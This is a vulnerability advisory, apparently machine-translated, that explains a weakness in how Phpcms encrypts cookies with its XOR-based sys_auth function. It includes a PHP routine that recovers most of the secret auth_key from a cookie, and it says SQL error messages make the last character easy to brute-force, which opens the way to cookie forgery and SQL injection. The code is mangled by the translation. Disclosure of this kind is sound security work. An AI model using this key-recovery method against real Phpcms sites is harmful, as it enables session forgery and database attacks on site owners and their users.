By Flyh4t
Mail: phpsec # hotmail.com
An illustration:
Phpcms uses the sys_auth function to encrypt and decrypt cookie information. Multiple files in the system directly obtain the variable from the cookie to enter the program process.
Because sys_auth functions are defective in design and use, registered users can forge cookie data and trigger multiple secondary attacks, such as SQL injection.
Second analysis:
View sys_auth Function Code
[Code]
// Libs/functions/global. func. php
Function sys_auth ($ txt, $ operation = ''encode'', $ key = ''''){
$ Key = $ key? $ Key: pc_base: load_config ('System '', ''auth _ key '');
$ Txt = $ operation = ''encode ''? (String) $ txt: base64_decode ($ txt );
$ Len = strlen ($ key );
$ Code = '''';
For ($ I = 0; $ I <strlen ($ txt); $ I ++ ){
$ K = $ I % $ len;
$ Code. = $ txt [$ I] ^ $ key [$ k];
}
$ Code = $ operation = ''decode ''? $ Code: base64_encode ($ code );
Return $ code;
}
[/Code]
Encryption is achieved by performing the ^ operation on $ auth_key. $ auth_key is a string of 20 characters randomly generated during system installation.
To forge a cookie variable, You Need To Know $ auth_key. Let's take a look at how to obtain it.
Login process for registered users
// Phpcms/modules/member/index. php
Public function login (){
......
Param: set_cookie (''auth '', $ phpcms_auth, $ cookietime );
Param: set_cookie (''_ userid'', $ userid, $ cookietime );
Param: set_cookie (''_ username'', $ username, $ cookietime );
Param: set_cookie (''_ groupid'', $ groupid, $ cookietime );
Param: set_cookie (''_ nickname'', $ nickname, $ cookietime );
Param: set_cookie (''cookietime'', $ _ cookietime, $ cookietime );
......
// Phpcms/libs/classes/param. class. php
Public static function set_cookie ($ var, $ value = ''', $ time = 0 ){
$ Time = $ time> 0? $ Time: ($ value = ''''? SYS_TIME-3600: 0 );
$ S = $ _ SERVER [''server _ port''] = ''000000 ''? 1: 0;
$ Var = pc_base: load_config ('system', ''cookie _ pre''). $ var;
$ _ COOKIE [$ var] = $ value;
If (is_array ($ value )){
Foreach ($ value as $ k => $ v ){
Setcookie ($ var. ''[''. $ k. '']'', sys_auth ($ v, ''encode''), $ time, pc_base: load_config ('system '', ''cookie _ path''), pc_base: load_config ('System '', ''cookie _ domain''), $ s );
}
} Else {
Setcookie ($ var, sys_auth ($ value, ''encode''), $ time, pc_base: load_config ('system', ''cookie _ path ''), pc_base: load_config ('system', ''cookie _ domain ''), $ s );
}
}
Obviously, $ username is assigned a cookie after being processed by the sys_auth function during login.
Now, register a user name with a length of 19 characters (the maximum length is 20, but one \ 0 is required, so it can only be 19.
After logging on to the system and getting the corresponding values in the cookie, you can reverse calculate the first 19 digits of $ auth_key.
The reverse push function is as follows:
Function antisys_auth (){
$ Txt = base64_decode (urldecode ("your cookie value "));
$ Name = "your username ";
$ Len = 20;
$ Key = '''';
For ($ I = 0; $ I <strlen ($ txt); $ I ++ ){
$ K = $ I % $ len;
$ Key. = $ txt [$ I] ^ $ name [$ k];
}
Return $ key;
}
$ How do I obtain the last bit of auth_key? This is simple. Find any one that uses get_cookie () to get the variable and then enter the SQL process,
With the SQL error mechanism of phpcms, it is easy to judge the last brute-force cracking.
Public function halt ($ message = ''', $ SQL = ''''){
$ This-> errormsg = "<B> MySQL Query: </B> $ SQL <br/> <B> MySQL Error: </B> ". $ this-> error (). "<br/> <B> MySQL Errno: </B> ". $ this-> errno (). "<br/> <B> Message: </B> $ message <br/> <a href = 'HTTP: // faq.phpcms.cn /? Errno = ". $ this-> errno (). "& msg = ". urlencode ($ this-> error ()). "''target ='' _ blank ''style = ''color: red''> Need Help? </A> ";
$ Msg = $ this-> errormsg;
Echo ''<div style =" font-size: 12px; text-align: left; border: 1px solid #9cc9e0; padding: 1px 4px; color: #000000; font-family: Arial, Helvetica, sans-serif; "> <span> ''. $ msg. ''</span> </div> '';
Exit;
}
Fix: It has been reported to the official website. Please wait for the patch